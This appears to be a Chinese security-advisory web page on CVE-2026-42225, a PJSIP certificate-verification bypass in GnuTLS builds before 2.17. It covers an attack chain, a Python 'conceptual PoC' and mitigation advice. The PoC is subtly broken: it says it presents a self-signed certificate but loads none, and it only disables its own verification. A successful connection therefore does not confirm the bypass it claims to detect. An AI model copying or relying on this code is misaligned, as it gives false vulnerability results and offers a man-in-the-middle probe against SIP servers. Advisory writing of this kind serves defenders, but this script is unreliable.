IPBUF安全漏洞报告
English
CVE-2026-42225 CVSS 5.9 中危

CVE-2026-42225 PJSIP证书验证绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42225
漏洞类型
证书验证绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PJSIP

相关标签

证书验证绕过PJSIPTLS中间人攻击

漏洞概述

PJSIP是一个开源多媒体通信库。在2.17版本之前的GnuTLS构建版本中,存在证书验证绕过漏洞。即使应用程序显式启用了证书验证,SIP TLS传输层仍可能接受无效或不受信任的证书连接。该漏洞破坏了TLS的安全性,可能导致中间人攻击。目前已在2.17版本中修复。

技术细节

该漏洞发生在PJSIP使用GnuTLS作为后端TLS库时。在TLS握手阶段,尽管应用代码通过`verify_server`或`verify_client`参数设置了`PJ_TRUE`以强制验证,但`sip_transport_tls`组件未能正确将此要求强制传递给GnuTLS的验证逻辑。这导致验证过程被绕过,攻击者可以使用自签名、过期或域名不匹配的证书成功建立TLS连接。由于完整性影响为高,攻击者可利用此漏洞拦截或篡改SIP通信数据。

攻击链分析

STEP 1
扫描发现
攻击者扫描网络,识别出使用PJSIP库且开启了SIP TLS传输(端口5061)的目标服务。
STEP 2
发起连接
攻击者使用自签名或不受信任的伪造证书,向目标发起TLS连接请求。
STEP 3
绕过验证
由于漏洞存在,目标PJSIP服务未正确拒绝无效证书,允许建立TLS连接,绕过了应用层配置的验证机制。
STEP 4
执行攻击
建立连接后,攻击者可进行中间人攻击,窃听或篡改SIP通信内容,或模拟合法用户进行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for PJSIP Certificate Validation Bypass * This script attempts to connect to a PJSIP server using a self-signed certificate. * If the connection succeeds despite strict server verification settings, the vulnerability is confirmed. */ import socket import ssl # Target PJSIP Server (Example) HOST = '192.168.1.100' PORT = 5061 # Create a socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL using a self-signed certificate (untrusted) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Simulating attacker using invalid cert try: # In a real exploit, the attacker acts as a server or client depending on the scenario # If acting as a client connecting to a vulnerable PJSIP server: ssl_sock = context.wrap_socket(sock, server_hostname=HOST) ssl_sock.connect((HOST, PORT)) print("[+] Connection established. Verification bypass possible.") # Send a simple SIP request to check if accepted request = "OPTIONS sip:[email protected] SIP/2.0\r\nVia: SIP/2.0/TLS 192.168.1.200:5061\r\n\r\n" ssl_sock.send(request.encode()) response = ssl_sock.recv(1024) print(f"[+] Server Response: {response.decode()}") except Exception as e: print(f"[-] Connection failed or rejected: {e}") finally: sock.close()

影响范围

PJSIP < 2.17

防御指南

临时缓解措施
若无法立即升级,建议在网络边界严格限制访问SIP服务的IP地址,仅允许可信网段连接。同时,可考虑暂时禁用TLS传输并强制使用IPSec或其他VPN技术来保护传输层安全,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表